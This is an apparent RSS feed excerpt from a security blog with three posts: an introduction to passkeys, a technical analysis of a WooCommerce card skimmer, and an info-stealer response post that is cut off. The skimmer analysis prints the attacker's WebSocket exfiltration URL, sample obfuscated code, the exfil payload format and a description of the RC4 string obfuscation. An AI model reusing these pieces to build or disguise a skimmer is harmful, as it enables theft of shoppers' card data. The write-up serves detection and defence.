    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/themes/prism-okaidia.min.css" integrity="sha512-mIs9kKbaw6JZFfSuo+MovjU+Ntggfoj8RwAmJbVXQ5mkAX5LlgETQEweFPI18humSPHymTb5iikEOKWF7I8ncQ==" crossorigin="anonymous" referrerpolicy="no-referrer">
    <style>
      pre[class*="language-"] {
          font-size: 0.75em;
      }
    </style>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-http.min.js" integrity="sha512-3KphgbiKTzK2CNxlSgUKypipTV7tWknO5czNb+E7H4CeHOOSer2s2rIOCTuz8NsY1zm+B9tP9Ul2JX/tmdyOYg==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-javascript.min.js" integrity="sha512-jwrwRWZWW9J6bjmBOJxPcbRvEBSQeY4Ad0NEXSfP0vwYi/Yu9x5VhDBl3wz6Pnxs8Rx/t1P8r9/OHCRciHcT7Q==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-json.min.js" integrity="sha512-QXFMVAusM85vUYDaNgcYeU3rzSlc+bTV4JvkfJhjxSHlQEo+ig53BtnGkvFTiNJh8D+wv6uWAQ2vJaVmxe8d3w==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <!--kg-card-end: html-->
    <p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Passkeys 101: An Introduction to Passkeys and How They Work]]></title>
                <description><![CDATA[<p>Passwords have been the weak point in online authentication for decades. They can be reused, guessed, stolen, phished, leaked, sprayed, stuffed, and captured by malware. Passkeys are one of the first mainstream authentication technologies that remove many of those problems entirely, and any website still relying on passwords should be</p>]]></description>
                <link>https://scotthelme.ghost.io/passkeys-101-an-introduction-to-passkeys-and-how-they-work/</link>
                <guid isPermaLink="false">6a060a6ed5ad2e0001eb50ed</guid>
                <category><![CDATA[Passkeys]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Mon, 18 May 2026 09:16:29 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/introduction-to-passkeys.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/introduction-to-passkeys.png" alt="Passkeys 101: An Introduction to Passkeys and How They Work"><p>Passwords have been the weak point in online authentication for decades. They can be reused, guessed, stolen, phished, leaked, sprayed, stuffed, and captured by malware. Passkeys are one of the first mainstream authentication technologies that remove many of those problems entirely, and any website still relying on passwords should be seriously considering support for them.</p><p></p><h3 id="why-passwords-are-a-problem">Why passwords are a problem</h3><p>I think anyone reading this blog post will understand why passwords are a problem, but I&apos;m going to outline it here to set the scene for why passkeys are such a huge improvement. The truth is, passwords can be a pain, and we&apos;ve been fighting that pain for decades. We&#x2019;ve battled password strength requirements, password reuse, credential stuffing, password spraying, database leaks, trivial phishing, and the recent rise of info-stealer malware. We&#x2019;ve also had to build layers of defensive engineering around passwords, like salting, hashing, breached-password checks, and stronger password policies, just to make them survivable. The truth is, we&apos;ve been using passwords for so long because they were the best thing we had, not because they&apos;re great. </p><p>I first wrote about password security all the way back in 2013 (<a href="https://scotthelme.co.uk/password-security/?ref=scotthelme.ghost.io" rel="noreferrer">link</a>) and much more recently we&apos;ve had to bring a sharp focus on our handling of passwords at <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>. I covered this in <a href="https://scotthelme.co.uk/boosting-account-security-pwned-passwords-and-zxcvbn/?ref=scotthelme.ghost.io" rel="noreferrer">Boosting password security! Pwned Passwords, zxcvbn, and more!</a> and then <a href="https://scotthelme.co.uk/under-attack-responding-to-the-rise-of-info-stealer-threats/?ref=scotthelme.ghost.io" rel="noreferrer">Under Attack: Responding to the Rise of Info-Stealer Threats</a> in just the last few months. Passwords continue to be a problem! 2FA has helped, and provided a much needed crutch for passwords over the years, but it doesn&apos;t solve the phishing problem which is arguably one of the biggest risks with passwords and current generation 2FA as my good friend Troy Hunt found out last year when he got his <a href="https://www.troyhunt.com/a-sneaky-phish-just-grabbed-my-mailchimp-mailing-list/?ref=scotthelme.ghost.io" rel="noreferrer">password and TOTP phished</a>. We need something better, much better.</p><p></p><h3 id="what-are-passkeys">What Are Passkeys?</h3><p>In really simple terms, passkeys are another way to authenticate a user. Just as a website might ask me for my username and password to authenticate me and log me in, they can instead rely on passkeys to do that, but with some considerable advantages. At their core, passkeys are just a pair of cryptographic keys, a public key and a private key. As their names would imply, the public key can be made public and shared with the website, whilst the private key remains private and secure on your device, not being shared with anyone. In many cases, that private key is protected by the same mechanism you already use to unlock your device or password manager, such as biometrics, a PIN, or a local device unlock.</p><p></p><h3 id="how-passkeys-work-at-a-high-level">How Passkeys Work at a High Level</h3><p>It&apos;s surprisingly easy to give an overview of how passkeys work, both in terms of creating a passkey, and then using that passkey to access your account. Here&apos;s a diagram that details the entire process.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image.png" class="kg-image" alt="Passkeys 101: An Introduction to Passkeys and How They Work" loading="lazy" width="1742" height="1307" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/image.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/05/image.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image.png 1742w" sizes="(min-width: 720px) 720px"></figure><p></p><p>The first step of this process is known as Registration. This is when you create your key pair, securely store your private key on your device and share your public key with the website in question. The website will then store this public key against your account so they know it&apos;s yours. The passkey has now been registered and is ready to use!</p><p>The second step of the process is Authentication. This is when you then come to prove who you are by utilising your previously registered passkey. The website will issue a challenge to you and you must sign that challenge with your private key. You then return this signed challenge to the website which can validate that signature with your public key. This proves that whoever the website is talking to can use the private key associated with that account. Because the private key is protected by your device or passkey provider, that gives the website strong evidence that it is talking to you.</p><p></p><h3 id="why-passkeys-are-better">Why Passkeys Are Better</h3><p>There are a few different areas where passkeys excel when compared to passwords, and each of them is compelling, so I&apos;m going to talk about all of the main advantages.</p><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.1rem;">Phishing Resistance</h4>
    <!--kg-card-end: html-->
    <p>Undoubtedly, this has to be the single biggest advantage of using passkeys; they are incredibly resistant to phishing. You can be tricked into giving up your password by mistake, you can be tricked into giving up your 6-digit TOTP code by mistake, but you can&apos;t be tricked into giving up your passkey by mistake. When you register your passkey and it&apos;s stored on your device, your device will lock that passkey to the origin that it can be used for. That means if you create a passkey on <code>report-uri.com</code>, but then find yourself on a phishing website like <code>rep0rt-ur1.com</code> that&apos;s impersonating us and is trying to phish your credentials, your device will simply not allow you to use your passkey because you are not in the right place. Your device now knows where your passkey can be used, and it will not let you use it anywhere else, which is a protection that can&apos;t be offered for passwords.</p><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.1rem;">No More Weak Passwords</h4>
    <!--kg-card-end: html-->
    <p>Everyone knows that we can create weak passwords if we wanted to, but you can&apos;t create a weak passkey. Because the generation of the passkey is handled by your device, you can be sure that you&apos;re always generating a strong passkey and don&apos;t run into similar risks posed by using a weak password. Nobody is going to be able to guess your passkey like they might be able to guess a weak password, because you&apos;ll never have a weak passkey.</p><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.1rem;">No More Password Reuse</h4>
    <!--kg-card-end: html-->
    <p>There&apos;s nothing stopping you from reusing your password across different services, but your device is required to create a new, unique passkey for each website that you register with. This means that there are no shared passkeys across different services and another category of risk is eliminated.</p><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.1rem;">No More Credential Stuffing or Password Spraying</h4>
    <!--kg-card-end: html-->
    <p>Largely as a consequence of the above two points, an attacker can&apos;t use these two common and effective strategies for trying to gain access to accounts that they shouldn&apos;t have access to. With no more weak and/or reused credentials, you can say goodbye to some pretty serious problems.</p><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.1rem;">No Shared Secret in your Database</h4>
    <!--kg-card-end: html-->
    <p>When adding a passkey to an account, the website is required to store the public key in their database. The public key, as we mentioned and as hinted by its name, is not a secret! This means that in the event of a database breach, there isn&apos;t an additional piece of sensitive information in there to be compromised and all the attacker has managed to gain access to is the public key of the user. The private key remains safe and secure on the user&apos;s device that created it.</p><p></p><h3 id="conclusion">Conclusion</h3><p>Passkeys are a major step forward, but they aren&apos;t magic. They remove many password-era risks, especially phishing and credential reuse, but they also introduce new implementation and threat-model questions. I&#x2019;ll be digging into one of those in much more detail in my next post.</p><p>We recently launched support for passkeys on Report URI and you can read about that here: <a href="https://scotthelme.co.uk/launching-passkeys-support-on-report-uri/?ref=scotthelme.ghost.io" rel="noreferrer">Launching Passkeys support on Report URI!</a> We also had our passkeys implementation penetration tested, <a href="https://scotthelme.co.uk/bringing-in-the-experts-having-our-passkeys-implementation-security-tested/?ref=scotthelme.ghost.io" rel="noreferrer">Bringing in the experts; Having our Passkeys implementation Security Tested</a>. As you can see, we&apos;re pretty serious about passkeys!</p><p>With that said, there are some new considerations and risks that using passkeys brings, and I&apos;ve just started to cover those in <a href="https://scotthelme.co.uk/security-considerations-when-using-passkeys-on-your-website/?ref=scotthelme.ghost.io" rel="noreferrer">Security considerations when using Passkeys on your website</a>. That blog post links out to our whitepaper on the problem, but I will also be writing a more detailed blog post with some new information in the coming days, so make sure to subscribe so you&apos;re notified when I publish that!</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Anatomy of a WooCommerce Skimmer: A Technical Deep-Dive]]></title>
                <description><![CDATA[<p>One malicious change to a trusted JavaScript file can turn your checkout page into a silent credit-card skimmer, siphoning customer data off to criminals while the website looks secure and continues to work as normal. That creates serious organisational risk: PCI exposure, regulatory consequences, reputational damage, and a breach</p>]]></description>
                <link>https://scotthelme.ghost.io/anatomy-of-a-woocommerce-skimmer-a-technical-deep-dive/</link>
                <guid isPermaLink="false">69ef62b5417e7e00019a58ca</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[magecart]]></category>
                <category><![CDATA[WooCommerce]]></category>
                <category><![CDATA[javascript]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Fri, 15 May 2026 14:22:57 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/woocomerce-skimmer.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/woocomerce-skimmer.png" alt="Anatomy of a WooCommerce Skimmer: A Technical Deep-Dive"><p>One malicious change to a trusted JavaScript file can turn your checkout page into a silent credit-card skimmer, siphoning customer data off to criminals while the website looks secure and continues to work as normal. That creates serious organisational risk: PCI exposure, regulatory consequences, reputational damage, and a breach that remains invisible until long after the damage is done.</p><p>We recently became aware of exactly this kind of compromise, where an attacker modified a JavaScript file on disk and injected malware into it. At first glance, that might seem like an unusual choice. If an attacker has enough access to modify files on the server, why settle for injecting JavaScript into an existing library?</p><p>In this case, there&#x2019;s a very good reason: the data they wanted to steal only existed in the browser, so that&apos;s where their malicious code needed to run.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/report-uri-logo.png" class="kg-image" alt="Anatomy of a WooCommerce Skimmer: A Technical Deep-Dive" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/report-uri-logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/report-uri-logo.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="an-unusual-choice">An unusual choice</h3><p>If I&apos;d found a way to compromise a host to the point where I could modify files on disk, I&apos;m not sure that injecting JavaScript malware into an existing file would be my first choice when it came to deciding my course of action. Yet, here we are!</p><p>Looking at the website in question, my best guess would be a vulnerable WordPress plugin has allowed some level of remote access to the attackers and they&apos;ve leveraged that to modify an existing JS file. The compromised file was an existing and legitimate JS library, and the malware was injected at the start of the file, leaving the original library code intact later in the file. This is a common tactic aimed at reducing the disruption the injection causes as all original functionality remains, reducing the likelihood of being discovered.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-8.png" class="kg-image" alt="Anatomy of a WooCommerce Skimmer: A Technical Deep-Dive" loading="lazy" width="1693" height="774" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/04/image-8.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/04/image-8.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/04/image-8.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/04/image-8.png 1693w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Given that their goal was clearly to skim payment card data, it also explains why their chosen course of action was to modify an existing JS asset rather than leverage much more powerful server-side access: The payment card data doesn&apos;t exist on the server, only on the client, so that&apos;s where they have to target it!</p><p></p><h3 id="evasion-and-anti-detection-techniques">Evasion and Anti-Detection Techniques</h3><p>Rather than add their own file to the page and load the malware in that way, the attackers inserted their code in an existing file, and did so in a way that would not interrupt how it worked. The injected code uses a rotating string array with RC4 encryption and per-call decryption keys (the same technique used by<br>professional JavaScript obfuscation products!), and a reversed, base64-encoded C2 URL:</p><pre><code>c3cvbW9jLm5kYy10c2V1cWVyLy86c3N3
    sw/moc.ndc-tseuqer//:ssw
    wss://request-cdn.com/ws</code></pre><p></p><p>On top of this, after the malicious code establishes its WebSocket connection, it then removes itself to avoid detection.</p><p></p><h3 id="data-theft">Data Theft</h3><p>Looking at the code and the fields on the page that it targets, it&apos;s pretty clear it&apos;s specifically designed for WooCommerce checkouts. The CSS selectors include every standard checkout field like <code>#billing_</code><em>, <code>#shipping_</code>, </em>etc... Not only is it targeting specific fields, the skimmer isn&apos;t just blindly exfiltrating data, it&apos;s doing validation on the data before it exfiltrates it. For the card number, it&apos;s using the <a href="https://en.wikipedia.org/wiki/Luhn_algorithm?ref=scotthelme.ghost.io" rel="noreferrer">Luhn Algorithm</a> to check that it&apos;s a valid card number, and it&apos;s also validating that the expiry date is a date in the future too!</p><p>On top of the desirable card data, it&apos;s also capturing other identity data that is present alongside the card data. This potentially includes your email address, phone number, full address including street/city/postcode/country, your browser UA and the hostname of the site. The code polls these fields in a loop every 500ms, presumably to catch autofill, paste, or JS-set values that don&apos;t trigger input or change events, but also progressively captures the data as you&apos;re typing, meaning it doesn&apos;t rely on an action like form submission for the exfiltration of complete data to happen. If you type in all of your card details and then have second thoughts about your purchase, it&apos;s already too late!</p><p>The final point that stood out to me is that the skimmer keeps a local record of card data that&apos;s already been stolen in localStorage, so if you were to return to the site and make another purchase using the same payment card, the skimmer wouldn&apos;t steal it a second time. How nice of them. </p><p></p><h3 id="data-exfiltration-mechanism">Data Exfiltration Mechanism</h3><p>Once the skimmer has identified some data that passes local validation and it wants to exfiltrate that data, it does so via a WebSocket over TLS. The data is sent to <code>wss://request-cdn.com/ws</code> in real-time using a simple JSON payload. </p><p></p><pre><code class="language-json">{
        &quot;method&quot;: &quot;data&quot;,
        &quot;host&quot;: &quot;victim-site.com&quot;,
        &quot;data&quot;: &quot;*card data here*&quot;
    }</code></pre><p></p><p>Although TLS protects the transmission itself, any security tool terminating and inspecting outbound TLS could still spot payment card data leaving the browser. To avoid this, the malware hides the card data by encrypting it with AES-256-GCM using a PBKDF2-derived key (100,000 iterations, SHA-256) before being sent, and the decryption key (<code>e2c6b94cc6b4</code>)  is embedded in the payload. This isn&apos;t an additional security mechanism to protect the card data, this is another evasion technique.</p><p>Along with a buffer in <code>localStorage</code> to handle multi-step payment flows or interruptions, a keepalive ping on the WebSocket, and even reconnection logic with backoff handling, I&apos;d say there&apos;s a robust strategy in place to make sure this data is going to be exfiltrated!</p><p></p><h3 id="infrastructure">Infrastructure</h3><p>C2 domain: <code>request-cdn.com</code> (mimics a CDN, registered 24th March 2026)<br>C2 IP: <code>69.40.207.105</code><br>Protocol: WebSocket over TLS (wss://)<br>Campaign ID: <code>e2c6b94cc6b4</code> (used as encryption key, unique per victim site)<br>Target platform: WooCommerce (WordPress)<br>Delivery vehicle: Modified <code>blazy.min.js</code> theme asset</p><p></p><h3 id="code-obfuscation-techniques">Code Obfuscation Techniques</h3><p>I mentioned that the code obfuscation being used was quite advanced and whilst I don&apos;t want to delve into it too much as it doesn&apos;t really affect the outcome or the purpose of this script, I thought it was interesting and worth covering at a high level.</p><p>Any readable string in the code &#x2014; method names, property names, URLs, algorithm names &#x2014; are stripped out and dumped into a single, giant array. Instead of the code saying something like:</p><p></p><pre><code>localStorage.setItem(&apos;TTxxp&apos;, data);
    new WebSocket(&apos;wss://request-cdn.com/ws&apos;);</code></pre><p></p><p>Every string is replaced with a function call that looks up the array at runtime:</p><p></p><pre><code>localStorage[R(0x22b,&apos;73VL&apos;)](R(0x1aa,&apos;N@oZ&apos;), data);
    new WebSocket(R(0x26d,&apos;Mb$3&apos;));</code></pre><p></p><p>There are no readable strings <em>anywhere</em> in the code. A human reading it sees nothing but hex numbers and short, random-looking keys.</p><p>The strings in the array aren&apos;t stored in plain text either &#x2014; they&apos;re individually encrypted using the RC4 stream cipher. So, even if you dump the array, you just get a list of random-looking base64 blobs like these:</p><p></p><pre><code>&apos;WQtdUGxdQSodW7a&apos;, &apos;p0hdIL5wlCoP&apos;, &apos;W5iRx8oghaRdMq&apos; ...</code></pre><p></p><p>The <code>R()</code> function, or <code>a0j()</code> in the loader, decrypts each entry on demand using a two-step process &#x2014; first base64-decode the blob, then run RC4 on it to get the<br>plaintext back. To make this even more tricky, the payload uses per-call decryption keys. Each call to R() passes a different key:</p><p></p><pre><code>R(0x22b, &apos;73VL&apos;) // &#x2192; &quot;setItem&quot;
    R(0x1aa, &apos;N@oZ&apos;) // &#x2192; &quot;TTxxp&quot;
    R(0x26d, &apos;Mb$3&apos;) // &#x2192; &quot;wss://&quot;</code></pre><p></p><p>The second argument (<code>&apos;73VL&apos;</code>, <code>&apos;N@oZ&apos;</code>, <code>&apos;Mb$3&apos;</code>) is the RC4 key for that specific string. Every string in the array is encrypted with a different key, hardcoded at its<br>call site. This means:</p><ol><li>We couldn&apos;t decrypt the whole array in one go &#x2014; you need to know which key goes with which index and use the right one.</li><li>Automated tools that try to extract string arrays will get garbage unless they also trace every individual call.</li></ol><p></p><p>Further to this, at start up, the payload runs through a self-checking loop and shuffles/rotates the array.</p><p></p><pre><code>while(!![]){
    try {
    const j = parseInt(...) / 1 + parseInt(...) / 2 * ...
    if(j === 0x87dfa) break;
    else S&apos;push&apos;;
    } catch(c) { S&apos;push&apos;; }
    }</code></pre><p></p><p>It keeps rotating the array &#x2014; moving the first element to the end, over and over &#x2014; until a specific arithmetic check across multiple entries produces the exact target<br>value of <code>0x87dfa</code>. This means:</p><ol><li>The array indices in source code don&apos;t correspond to their actual positions until the correct rotation is found.</li><li>You can&apos;t statically know which entry is at index 28 without running or simulating the shuffle to completion.</li><li>It defeats simple array extraction because the indices only make sense after rotation</li></ol><p></p><p>All in all, there are some pretty advanced techniques at play here, all designed to make it more difficult to detect and stop this attack.</p><p></p><h3 id="how-report-uri-would-have-caught-this">How Report URI would have caught this</h3><p>This is <em>exactly</em> the kind of attack Report URI can catch &#x2014; and it would have tripped two separate alarms. <a href="https://report-uri.com/products/csp_integrity?ref=scotthelme.ghost.io" rel="noreferrer">CSP Integrity</a> fingerprints your JavaScript assets using our <a href="https://report-uri.com/solutions/javascript_integrity_monitoring?ref=scotthelme.ghost.io" rel="noreferrer">JavaScript Integrity Monitoring</a> feature so you can know the instant one of your JS assets changes; the moment <code>blazy.min.js</code> was modified on disk and served to the very first visitor, you&apos;d have known. If that wasn&apos;t enough, the exfil itself was loud: a CSP with <code>connect-src</code> scoped to your own infrastructure blocks the <code>wss://request-cdn.com/ws</code> connection outright, stopping the exfiltration, and Report URI&apos;s reporting endpoint surfaces the violation the first time a victim hits checkout and sends you a notification. Either control on its own detects or stops this campaign; together they provide robust protection. If you run WooCommerce &#x2014; or any page where payment card data touches the browser &#x2014; these controls aren&#x2019;t nice-to-haves. They&#x2019;re the difference between spotting a compromise within minutes, or discovering it months later during breach notifications, chargebacks, or forensic investigation.</p><p></p><h3 id="indicators-of-compromise">Indicators of Compromise</h3><p>C2 Domain: <code>request-cdn.com</code> (registered 24th March 2026)<br>C2 IP: <code>69.40.207.105</code></p><p>If you want visibility into threats like this on your own site, you can start a 30-day free trial at&#xA0;<a href="https://report-uri.com/?utm_source=scotthelme.co.uk">Report URI</a>. Our&#xA0;<a href="https://report-uri.com/solutions/javascript_integrity_monitoring?utm_source=scotthelme.co.uk">JavaScript Integrity Monitoring</a>&#xA0;solution takes less than a minute to deploy and can begin collecting useful browser-side telemetry immediately.</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Under Attack: Responding to the Rise of Info-Stealer Threats]]></title>
                <description><![CDATA[<p>We recently received a claim that <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> had been breached and that customer credentials had been stolen. The claim was false: we do not store passwords in a recoverable format. But the credentials themselves <em>were</em> real, and that made the situation more interesting.</p><p>They appeared to come from info-</p>]]></description>
                <link>https://scotthelme.ghost.io/under-attack-responding-to-the-rise-of-info-stealer-threats/</link>
                <guid isPermaLink="false">69bbb64cbfb9340001a6c265</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[Info Stealer]]></category>
                <category><![CDATA[Pwned Passwords]]></category>
                <category><![CDATA[Have I Been Pwned]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Mon, 11 May 2026 13:10:11 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/info-stealer-header.webp" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/info-stealer-header.webp" alt="Under Attack: Responding to the Rise of Info-Stealer Threats"><p>We recently received a claim that <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> had been breached and that customer credentials had been stolen. The claim was false: we do not store passwords in a recoverable format. But the credentials themselves <em>were</em> real, and that made the situation more interesting.</p><p>They appeared to come from info-stealer malware: compromised devices where usernames, passwords, cookies and other sensitive data had been harvested. This post walks through what happened, why our existing controls helped but we wanted to improve, and the new account lockout process we&#x2019;ve introduced as a result.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo.png" class="kg-image" alt="Under Attack: Responding to the Rise of Info-Stealer Threats" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="info-stealers">Info Stealers</h3><p>The first thing we need to do is understand the specific threat we&apos;re dealing with here. Info Stealers are a serious problem for services like ours because of how they operate. Info-stealer malware will infect a device and then start to harvest sensitive data from that device, which could include anything like usernames, passwords, payment card details, cookies from your browser, documents, and much, much more. If one of our customers is using a device that has been infected with info-stealer malware, our primary concern is that the account credentials have been compromised, which is what happened in this case. The email address and password for a Report URI account is accessed by the malware on the user&apos;s device when it is used to login...</p><p>As a website operator, despite the multiple layers of account security we have, no online service can fully defend against this type of threat. If the user&apos;s device is compromised and their account credentials are harvested directly from it, we have to acknowledge the limits of our own capabilities as a website, and that those credentials are going to be taken.</p><p></p><h3 id="existing-account-security-controls">Existing Account Security Controls</h3><p>We&apos;re pretty open about how we do things at Report URI, and we&apos;ve already published a lot of information about how we handle account security. You can read my full blog post on <a href="https://scotthelme.co.uk/boosting-account-security-pwned-passwords-and-zxcvbn/?ref=scotthelme.ghost.io" rel="noreferrer">boosting password security</a>, but here&apos;s a summary of the existing measures we have in place:</p><p></p><h4 id="zxcvbn">zxcvbn</h4><p>If you haven&apos;t heard of <a href="https://github.com/dropbox/zxcvbn?utm_source=scotthelme.co.uk" rel="noreferrer">zxcvbn</a>, you should absolutely go and check it out. It&apos;s a reliable password strength estimator created by Dropbox, and we use it to test how strong a password is when a user is trying to use it. If the password doesn&apos;t meet our complexity requirements, it isn&apos;t allowed to be used.</p><p></p><h4 id="password-managers">Password Managers</h4><p>We have a variety of different measures in place to improve the effectiveness of Password Managers. On form elements we tell a password manager to create a <em>crazy</em> strong password, we provide information on where our password change endpoints are so it can be done automatically by your password manager, we hint which account is currently logged in so password managers know which entry to use, and a whole range of other quality of life attributes.</p><p></p><h4 id="two-factor-authentication">Two-Factor Authentication</h4><p>We support TOTP 2FA on Report URI, and organisations have the ability to require that their team members have 2FA enabled on their account to access company data. We strongly recommend that any user has 2FA enabled, and you should keep an eye out for 2FA related announcements in the next week or so...</p><p></p><h4 id="password-hashing">Password Hashing</h4><p>When storing user passwords, we hash them with the bcrypt hashing algorithm, configured with a work factor of 10 and a 128-bit salt. In our chosen language of PHP, that looks like this:</p><pre><code class="language-php">password_hash($password, PASSWORD_DEFAULT)</code></pre><p></p><h4 id="bot-mitigation">Bot Mitigation</h4><p>Using a variety of approaches, we work to detect automated behaviour against sensitive endpoints like login or password reset. By trying to detect and stop bots, we can prevent automated attacks that are using stolen credentials, or are trying to guess credentials by trying them against the site. </p><p></p><h4 id="pwned-passwords">Pwned Passwords</h4><p>We make use of the <a href="https://haveibeenpwned.com/Passwords?ref=scotthelme.ghost.io" rel="noreferrer">Pwned Password API</a> with their k-anonymity model to query for compromised passwords that have appeared in data breaches. This prevents users from using a password that is known to have been previously compromised.</p><p></p><h3 id="none-of-that-matters">None of that matters</h3><p>And this is the problem! Despite all of the work that we&apos;ve done above, if an info-stealer malware has infected a device and reads the user&apos;s password right off the keyboard, the attacker now has the email address and password, can head right to the login page and successfully login to the account. Despite that, this did identify an avenue for us to improve our processes and offer a little more protection to our users, over and above what we were already offering.</p><p>2FA still matters enormously here because it can stop a stolen password from being enough on its own. But the point remains: once the password itself is known to be compromised, we should not allow it to continue being used.</p><p></p><h3 id="our-existing-process">Our existing process</h3><p>As I mentioned above, we use the Pwned Passwords API to query for passwords that our users are using so we can see if they have been compromised. That sounds like it might be a really bad idea at face value, but the k-anonymity model that the API uses means that <strong>we never send your password</strong> to the API, so this doesn&apos;t introduce any security or privacy concerns. It does, however, allow us to know if that particular password has been observed in a data breach. Head on over to the Report URI <a href="https://report-uri.com/register/?ref=scotthelme.ghost.io" rel="noreferrer">registration page</a> and try to register with the password &quot;correcthorsebatterystaple&quot; (<a href="https://xkcd.com/936/?ref=scotthelme.ghost.io" rel="noreferrer">source</a> if you don&apos;t get the reference), which is a reasonably strong password and will pass our complexity requirements, but it has also been compromised...</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-12.png" class="kg-image" alt="Under Attack: Responding to the Rise of Info-Stealer Threats" loading="lazy" width="477" height="802"></figure><p></p><p>You&apos;re not allowed to use this password because the Pwned Passwords API tells us that it has been previously observed in a data breach. You can head to the <a href="https://haveibeenpwned.com/Passwords?ref=scotthelme.ghost.io" rel="noreferrer">Pwned Passwords website</a> and test this for yourself to see the results.</p><p>This is a great feature, and it will stop you using a password that has been breached, and we also apply the same protection on the password reset process too, so you can&apos;t change to a breached password. But what happens if the password is breached <em>after</em> you set it up on our service?</p><p></p><h3 id="identifying-the-gap">Identifying the gap</h3><p>The problem we have here is that because passwords are stored as a salted hash in our database, we don&apos;t have your password to do any kind of regular check to see if it has since been breached. This means that our only opportunity to do any check like this is when you next authenticate and we have that brief period where we have your clear-text password in memory to do the check. </p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-13.png" class="kg-image" alt="Under Attack: Responding to the Rise of Info-Stealer Threats" loading="lazy" width="757" height="173" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-13.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-13.png 757w" sizes="(min-width: 720px) 